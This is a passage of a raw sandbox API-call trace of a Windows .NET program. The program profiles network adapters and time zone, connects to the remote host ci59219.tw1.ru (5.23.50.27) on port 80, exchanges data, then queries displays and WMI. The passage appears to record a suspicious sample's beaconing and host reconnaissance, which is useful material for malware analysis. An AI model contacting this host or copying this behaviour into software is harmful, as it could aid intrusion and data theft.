lpReserved=0x0, lpType=0x1b0bd328, lpData=0x33a06e0, lpcbData=0x1b0bd320*=0x20 | out: lpType=0x1b0bd328*=0x1, lpData="@tzres.dll,-321", lpcbData=0x1b0bd320*=0x20) returned 0x0 [0170.902] CoTaskMemAlloc (cb=0x20c) returned 0x1b35d100 [0170.902] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1b35d100 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0170.903] CoTaskMemFree (pv=0x1b35d100) [0170.903] CoTaskMemAlloc (cb=0x20c) returned 0x1b35e420 [0170.904] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1b0bd378, pwszFileMUIPath=0x1b35e420, pcchFileMUIPath=0x1b0bd380, pululEnumerator=0x1b0bd370 | out: pwszLanguage=0x0, pcchLanguage=0x1b0bd378, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1b0bd380, pululEnumerator=0x1b0bd370) returned 1 [0170.930] CoTaskMemFree (pv=0x0) [0170.930] CoTaskMemFree (pv=0x1b35e420) [0170.933] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1b2a0001 [0170.939] CoTaskMemAlloc (cb=0x3ec) returned 0x1b3bdb80 [0170.939] LoadStringW (in: hInstance=0x1b2a0001, uID=0x140, lpBuffer=0x1b3bdb80, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna") returned 0x3c [0170.939] CoTaskMemFree (pv=0x1b3bdb80) [0170.939] FreeLibrary (hLibModule=0x1b2a0001) returned 1 [0170.941] CoTaskMemAlloc (cb=0x20c) returned 0x1b361b60 [0170.941] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1b361b60 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0170.942] CoTaskMemFree (pv=0x1b361b60) [0170.942] CoTaskMemAlloc (cb=0x20c) returned 0x1b35bde0 [0170.942] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1b0bd378, pwszFileMUIPath=0x1b35bde0, pcchFileMUIPath=0x1b0bd380, pululEnumerator=0x1b0bd370 | out: pwszLanguage=0x0, pcchLanguage=0x1b0bd378, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1b0bd380, pululEnumerator=0x1b0bd370) returned 1 [0170.944] CoTaskMemFree (pv=0x0) [0170.944] CoTaskMemFree (pv=0x1b35bde0) [0170.944] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1b2a0001 [0170.945] CoTaskMemAlloc (cb=0x3ec) returned 0x1b3bdb80 [0170.945] LoadStringW (in: hInstance=0x1b2a0001, uID=0x142, lpBuffer=0x1b3bdb80, cchBufferMax=500 | out: lpBuffer="W. Europe Standard Time") returned 0x17 [0170.945] CoTaskMemFree (pv=0x1b3bdb80) [0170.945] FreeLibrary (hLibModule=0x1b2a0001) returned 1 [0170.946] CoTaskMemAlloc (cb=0x20c) returned 0x1b35d100 [0170.946] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1b35d100 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0170.946] CoTaskMemFree (pv=0x1b35d100) [0170.946] CoTaskMemAlloc (cb=0x20c) returned 0x1b35f0e0 [0170.946] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1b0bd378, pwszFileMUIPath=0x1b35f0e0, pcchFileMUIPath=0x1b0bd380, pululEnumerator=0x1b0bd370 | out: pwszLanguage=0x0, pcchLanguage=0x1b0bd378, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1b0bd380, pululEnumerator=0x1b0bd370) returned 1 [0170.948] CoTaskMemFree (pv=0x0) [0170.948] CoTaskMemFree (pv=0x1b35f0e0) [0170.948] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1b2a0001 [0170.949] CoTaskMemAlloc (cb=0x3ec) returned 0x1b3bdb80 [0170.949] LoadStringW (in: hInstance=0x1b2a0001, uID=0x141, lpBuffer=0x1b3bdb80, cchBufferMax=500 | out: lpBuffer="W. Europe Daylight Time") returned 0x17 [0170.949] CoTaskMemFree (pv=0x1b3bdb80) [0170.949] FreeLibrary (hLibModule=0x1b2a0001) returned 1 [0170.950] RegCloseKey (hKey=0x7d0) returned 0x0 [0170.952] SetEvent (hEvent=0x300) returned 1 [0170.958] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1b0bd7d8 | out: pFixedInfo=0x0, pOutBufLen=0x1b0bd7d8) returned 0x6f [0171.364] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1b337a60 [0171.364] GetNetworkParams (in: pFixedInfo=0x1b337a60, pOutBufLen=0x1b0bd7d8 | out: pFixedInfo=0x1b337a60, pOutBufLen=0x1b0bd7d8) returned 0x0 [0171.560] LocalFree (hMem=0x1b337a60) returned 0x0 [0171.566] CoTaskMemAlloc (cb=0x20c) returned 0x1b35bde0 [0171.566] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x1b35bde0, nSize=0x104 | out: lpBuffer="") returned 0x0 [0171.566] CoTaskMemFree (pv=0x1b35bde0) [0171.567] CoTaskMemAlloc (cb=0x20c) returned 0x1b360ea0 [0171.567] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x1b360ea0, nSize=0x104 | out: lpBuffer="") returned 0x0 [0171.567] CoTaskMemFree (pv=0x1b360ea0) [0171.584] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7d0 [0171.587] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7d8 [0171.589] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1b0bd638*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1b0bd580 | out: ppResult=0x1b0bd580*=0x1d2eadf0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2f9da0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0172.146] FreeAddrInfoW (pAddrInfo=0x1d2eadf0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2f9da0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0172.149] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7f0 [0172.149] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f8 [0172.149] ioctlsocket (in: s=0x7f0, cmd=-2147195266, argp=0x1b0bd5a8 | out: argp=0x1b0bd5a8) returned 0 [0172.149] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x54c [0172.150] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x528 [0172.150] ioctlsocket (in: s=0x54c, cmd=-2147195266, argp=0x1b0bd5a8 | out: argp=0x1b0bd5a8) returned 0 [0172.150] WSAIoctl (in: s=0x7f0, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1b0bd530, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1b0bd530, lpOverlapped=0x0) returned -1 [0172.150] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1b0bd110, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0172.150] WSAEventSelect (s=0x7f0, hEventObject=0x4f8, lNetworkEvents=512) returned 0 [0172.150] WSAIoctl (in: s=0x54c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1b0bd530, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1b0bd530, lpOverlapped=0x0) returned -1 [0172.150] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1b0bd110, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0172.151] WSAEventSelect (s=0x54c, hEventObject=0x528, lNetworkEvents=512) returned 0 [0172.151] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x1b0bd598*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x1b0bd598*=0xc28) returned 0x6f [0172.157] LocalAlloc (uFlags=0x0, uBytes=0xc28) returned 0x50e000 [0172.157] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x50e000, SizePointer=0x1b0bd598*=0xc28 | out: AdapterAddresses=0x50e000*(Alignment=0x6000001c0, Length=0x1c0, IfIndex=0x6, Next=0x50e320, AdapterName="{E96D977E-F067-4CE9-924D-F6E0A04729E4}", FirstUnicastAddress=0x50e270, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #2", FriendlyName="Ethernet 2", PhysicalAddress=([0]=0x0, [1]=0xe0, [2]=0x96, [3]=0x63, [4]=0xe7, [5]=0x80, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x1c5, DdnsEnabled=0x1c5, RegisterAdapterSuffix=0x1c5, Dhcpv4Enabled=0x1c5, ReceiveOnly=0x1c5, NoMulticast=0x1c5, Ipv6OtherStatefulConfig=0x1c5, NetbiosOverTcpipEnabled=0x1c5, Ipv4Enabled=0x1c5, Ipv6Enabled=0x1c5, Ipv6ManagedAddressConfigurationSupported=0x1c5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x6, ZoneIndices=([0]=0x6, [1]=0x6, [2]=0x6, [3]=0x6, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6008002000000, Dhcpv4Server.lpSockaddr=0x50e1c0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11eb6c9dc20d55b0, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x28, [5]=0xb6, [6]=0x28, [7]=0x5e, [8]=0x0, [9]=0xf, [10]=0xf3, [11]=0xe1, [12]=0x61, [13]=0x38, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x6000ff3, FirstDnsSuffix=0x0), SizePointer=0x1b0bd598*=0xc28) returned 0x0 [0172.164] LocalFree (hMem=0x50e000) returned 0x0 [0172.165] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bd588 | out: phkResult=0x1b0bd588*=0x530) returned 0x0 [0172.165] RegQueryValueExW (in: hKey=0x530, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x1b0bd5c8, lpData=0x0, lpcbData=0x1b0bd5c0*=0x0 | out: lpType=0x1b0bd5c8*=0x0, lpData=0x0, lpcbData=0x1b0bd5c0*=0x0) returned 0x2 [0172.165] RegCloseKey (hKey=0x530) returned 0x0 [0172.288] WSAConnect (in: s=0x7d0, name=0x26a7530*(sa_family=2, sin_port=0x50, sin_addr="5.23.50.27"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0172.356] closesocket (s=0x7d8) returned 0 [0172.383] send (s=0x7d0, buf=0x26eb6d0*, len=634, flags=0) returned 634 [0172.400] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0172.401] recv (in: s=0x7d0, buf=0x266bb78, len=4096, flags=0 | out: buf=0x266bb78*) returned 2315 [0172.621] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0172.622] SetEvent (hEvent=0x300) returned 1 [0176.239] GetSystemMetrics (nIndex=80) returned 1 [0176.242] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1ace157c, dwData=0x0) returned 1 [0176.247] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1b0bcea0 | out: lpmi=0x1b0bcea0) returned 1 [0176.250] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x460106b8 [0176.252] GetDeviceCaps (hdc=0x460106b8, index=12) returned 32 [0176.252] GetDeviceCaps (hdc=0x460106b8, index=14) returned 1 [0176.253] DeleteDC (hdc=0x460106b8) returned 1 [0176.259] GetProcessWindowStation () returned 0xdc [0176.259] GetUserObjectInformationA (in: hObj=0xdc, nIndex=1, pvInfo=0x288f328, nLength=0xc, lpnLengthNeeded=0x1b0bd220 | out: pvInfo=0x288f328, lpnLengthNeeded=0x1b0bd220) returned 1 [0176.259] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa54 [0176.858] CoGetObjectContext (in: riid=0x256e400*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc2f8 | out: ppv=0x1b0bc2f8*=0x4b0108) returned 0x0 [0176.858] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc2e8 | out: pAptType=0x1b0bc2e8*=1) returned 0x0 [0176.858] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x256e3e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc2f0 | out: ppvObject=0x1b0bc2f0*=0x0) returned 0x80004002 [0176.858] IUnknown:Release (This=0x4b0108) returned 0x0 [0176.859] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bb6e8 | out: ppv=0x1b0bb6e8*=0x1d2fa540) returned 0x0 [0176.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2fa540, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bb7d0 | out: ppvObject=0x1b0bb7d0*=0x0) returned 0x80004002 [0176.860] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d2fa540, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb7a8 | out: ppvObject=0x1b0bb7a8*=0x1d2f1310) returned 0x0 [0176.860] WbemDefPath:IUnknown:Release (This=0x1d2fa540) returned 0x0 [0176.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f1310, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb550 | out: ppvObject=0x1b0bb550*=0x1d2f1310) returned 0x0 [0176.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f1310, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bb5e0 | out: ppvObject=0x1b0bb5e0*=0x0) returned 0x80004002 [0176.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f1310, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0badd8 | out: ppvObject=0x1b0badd8*=0x0) returned 0x80004002 [0176.860] WbemDefPath:IUnknown:AddRef (This=0x1d2f1310) returned 0x3 [0176.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f1310, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bac98 | out: ppvObject=0x1b0bac98*=0x0) returned 0x80004002 [0176.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f1310, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bac20 | out: ppvObject=0x1b0bac20*=0x0) returned 0x80004002 [0176.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f1310, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bac10 | out: ppvObject=0x1b0bac10*=0x1d2fa7c0) returned 0x0 [0176.860] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d2fa7c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bac38 | out: pCid=0x1b0bac38*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0176.861] WbemDefPath:IUnknown:Release (This=0x1d2fa7c0) returned 0x3 [0176.861] CoGetContextToken (in: pToken=0x1b0bacc0 | out: pToken=0x1b0bacc0) returned 0x0 [0176.861] CoGetContextToken (in: pToken=0x1b0bb140 | out: pToken=0x1b0bb140) returned 0x0 [0176.861] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f1310, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb200 | out: ppvObject=0x1b0bb200*=0x0) returned 0x80004002 [0176.861] WbemDefPath:IUnknown:Release (This=0x1d2f1310) returned 0x2 [0176.861] WbemDefPath:IUnknown:Release (This=0x1d2f1310) returned 0x1 [0176.861] CoGetContextToken (in: pToken=0x1b0bbf30 | out: pToken=0x1b0bbf30) returned 0x0 [0176.861] CoGetContextToken (in: pToken=0x1b0bbe30 | out: pToken=0x1b0bbe30) returned 0x0 [0176.861] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f1310, riid=0x1b0bbf90*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bbf60 | out: ppvObject=0x1b0bbf60*=0x1d2f1310) returned 0x0 [0176.861] WbemDefPath:IUnknown:AddRef (This=0x1d2f1310) returned 0x3 [0176.861] WbemDefPath:IUnknown:Release (This=0x1d2f1310) returned 0x2 [0176.861] WbemDefPath:IWbemPath:SetText (This=0x1d2f1310, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0176.862] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1b0bd288 | out: puCount=0x1b0bd288*=0x2) returned 0x0 [0176.862] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1b0bd280*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bd280*=0xf, pszText=0x0) returned 0x0 [0176.862] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1b0bd280*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bd280*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0176.867] CoGetObjectContext (in: riid=0x256e400*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bd1c8 | out: ppv=0x1b0bd1c8*=0x4b0108) returned 0x0 [0176.867] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bd1b8 | out: pAptType=0x1b0bd1b8*=1) returned 0x0 [0176.867] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x256e3e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bd1c0 | out: ppvObject=0x1b0bd1c0*=0x0) returned 0x80004002 [0176.867] IUnknown:Release (This=0x4b0108) returned 0x0 [0176.868] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc888 | out: ppv=0x1b0bc888*=0x1d2faaa0) returned 0x0 [0176.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2faaa0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bc970 | out: ppvObject=0x1b0bc970*=0x0) returned 0x80004002 [0176.868] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d2faaa0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc948 | out: ppvObject=0x1b0bc948*=0x1d2fab00) returned 0x0 [0176.868] WbemLocator:IUnknown:Release (This=0x1d2faaa0) returned 0x0 [0176.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fab00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc6f0 | out: ppvObject=0x1b0bc6f0*=0x1d2fab00) returned 0x0 [0176.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fab00, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc780 | out: ppvObject=0x1b0bc780*=0x0) returned 0x80004002 [0176.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fab00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bbf78 | out: ppvObject=0x1b0bbf78*=0x0) returned 0x80004002 [0176.869] WbemLocator:IUnknown:AddRef (This=0x1d2fab00) returned 0x3 [0176.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fab00, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bbe38 | out: ppvObject=0x1b0bbe38*=0x0) returned 0x80004002 [0176.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fab00, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bbdc0 | out: ppvObject=0x1b0bbdc0*=0x0) returned 0x80004002 [0176.869] WbemLocator:IUnknown:QueryInterface 